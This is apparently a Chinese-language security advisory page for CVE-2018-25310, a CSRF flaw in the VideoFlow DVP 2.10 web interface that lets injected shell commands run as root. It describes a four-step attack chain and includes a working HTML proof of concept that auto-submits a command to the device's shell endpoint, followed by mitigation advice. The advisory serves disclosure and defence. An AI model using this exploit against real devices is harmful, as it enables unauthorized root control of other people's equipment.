IPBUF安全漏洞报告
English
CVE-2018-25310 CVSS 4.3 中危

CVE-2018-25310 VideoFlow DVP 认证后远程代码执行漏洞

披露日期: 2026-04-29

漏洞信息

漏洞编号
CVE-2018-25310
漏洞类型
远程代码执行 (RCE), 跨站请求伪造 (CSRF)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
VideoFlow Digital Video Protection DVP

相关标签

RCECSRFVideoFlowIoT命令注入Root权限

漏洞概述

VideoFlow Digital Video Protection DVP 2.10版本存在经过身份验证的远程代码执行漏洞。该漏洞源于Web管理界面缺乏有效的CSRF防护机制,攻击者可诱导已登录的管理员访问恶意页面,利用CSRF缺陷通过“Tools > System > Shell”接口注入并执行任意系统命令,从而获取设备的Root级控制权限。

技术细节

该漏洞的核心原因在于VideoFlow DVP Web管理界面的“系统Shell”功能未对跨站请求伪造进行有效防御。虽然利用该漏洞需要目标用户已通过身份验证(符合CVSS PR:L要求),但攻击者可以利用社会工程学手段诱导管理员点击恶意链接。当管理员访问攻击者构造的恶意HTML页面时,浏览器会自动携带管理员的Session Cookie向目标设备的Shell接口发送特制的HTTP POST请求。由于服务器端未验证请求的来源Token,攻击者即可在请求参数中注入任意操作系统命令。设备后端接收请求后,直接将参数传递给底层系统Shell执行,导致攻击者能够以Root权限远程控制设备。

攻击链分析

STEP 1
步骤1:侦察与准备
攻击者确认目标运行的是VideoFlow DVP 2.10版本,并获取了Web管理界面的URL路径。
STEP 2
步骤2:构造恶意Payload
攻击者编写包含恶意HTML/JavaScript的代码,创建自动提交的表单,指向“Tools > System > Shell”接口,并在参数中注入要执行的系统命令(如反弹Shell或添加用户)。
STEP 3
步骤3:投递Payload
攻击者通过网络钓鱼或其他手段,诱导拥有管理员权限的受害者点击链接或访问托管恶意HTML的页面。
STEP 4
步骤4:执行命令
受害者在已登录状态下访问恶意页面,浏览器自动发送包含Shell命令的请求。设备执行命令,攻击者获得Root权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2018-25310 Description: HTML CSRF exploit to execute commands on VideoFlow DVP Usage: Host this file and trick an authenticated admin to visit it. --> <html> <body> <!-- The form targets the vulnerable Shell interface --> <form action="http://<target-ip>/tools/system/shell" method="POST"> <!-- Input field for the system command to be executed --> <input type="hidden" name="command" value="reboot" /> <input type="submit" value="Click me" /> </form> <script> // Automatically submit the form to trigger the vulnerability document.forms[0].submit(); </script> </body> </html>

影响范围

VideoFlow Digital Video Protection DVP 2.10

防御指南

临时缓解措施
如果不能立即升级固件,建议将设备Web管理界面部署在VPN之后或仅允许通过特定管理IP访问。管理员在使用完管理后台后应主动登出,避免Session长期有效。同时,应提高安全意识,不随意点击来源不明的链接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表